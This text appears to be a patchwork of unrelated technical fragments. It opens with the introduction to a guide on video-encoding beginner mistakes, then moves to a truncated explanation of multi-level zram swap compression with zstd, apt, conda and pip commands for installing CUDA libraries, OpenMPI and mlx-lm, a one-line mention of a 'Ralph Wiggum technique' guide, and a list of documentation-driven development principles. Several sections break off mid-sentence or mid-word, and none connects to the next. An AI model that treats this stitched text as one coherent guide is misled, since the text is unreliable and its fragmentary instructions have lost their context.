Hanging out in subtitling and video re-editing communities, I see my fair share of novice video editors and video encoders, and see plenty of them make the classic beginner mistakes when it comes to working with videos. A man can only read "Use Handbrake to convert your mkv to an mp4 :)" so many times before losing it, so I am writing this article to channel the resulting psychic damage into something productive.

If you are new to working with videos (or, let's face it, even if you aren't), please read through this guide to avoid making mistakes that can cost you lots of computing power, storage space, or video quality.

This is instruction how to run multi level compression for zram swap

The idea is that we want to be able to quickly swap memory away when we need memory, but cold pages should be compressed further. This instruction also includes traditional block storage for uncompressible pages that would not decrease otherwise any memory usage. Zstd have nice property that decompression speed is basically independend from compression level, so using higher levels will only participate in compression speed. Using zstd for default compresor causes some ui lags when memory need to be paged out, therefore is okay, but not great solution. Using zstd for recompression in the background have very little effect assuming you do not use every cpu cycle, and compressing old pages make it failry safe that they will not be needed anytime soon. This might consume 1 cpu core during recompression (accounted for recompress-idle-ram script) but otherwise allows best from both worlds, fast memory reclaim, fast swap read and very good com

Install CUDA deps:

sudo apt-get update
sudo apt-get install libcudnn9-dev-cuda-13
sudo apt-get install libblas-dev liblapack-dev liblapacke-dev
sudo apt-get install libnccl2 libnccl-dev

Install MLX:

On every machine in the cluster install openmpi and mlx-lm:

conda install conda-forge::openmpi
pip install -U mlx-lm

Next download the pipeline parallel run script. Download it to the same path on every machine:

A comprehensive guide to autonomous AI development using the Ralph Wiggum technique.

The philosophy behind Documentation-Driven Development is a simple: from the perspective of a user, if a feature is not documented, then it doesn't exist, and if a feature is documented incorrectly, then it's broken.

• Document the feature first. Figure out how you're going to describe the feature to users; if it's not documented, it doesn't exist. Documentation is the best way to define a feature in a user's eyes.
• Whenever possible, documentation should be reviewed by users (community or Spark Elite) before any development begins.
• Once documentation has been written, development should commence, and test-driven development is preferred.
• Unit tests should be written that test the features as described by the documentation. If the functionality ever comes out of alignment with the documentation, tests should fail.
• When a feature is being modified, it should be modified documentation-first.
• When documentation is modified, so should be the tests.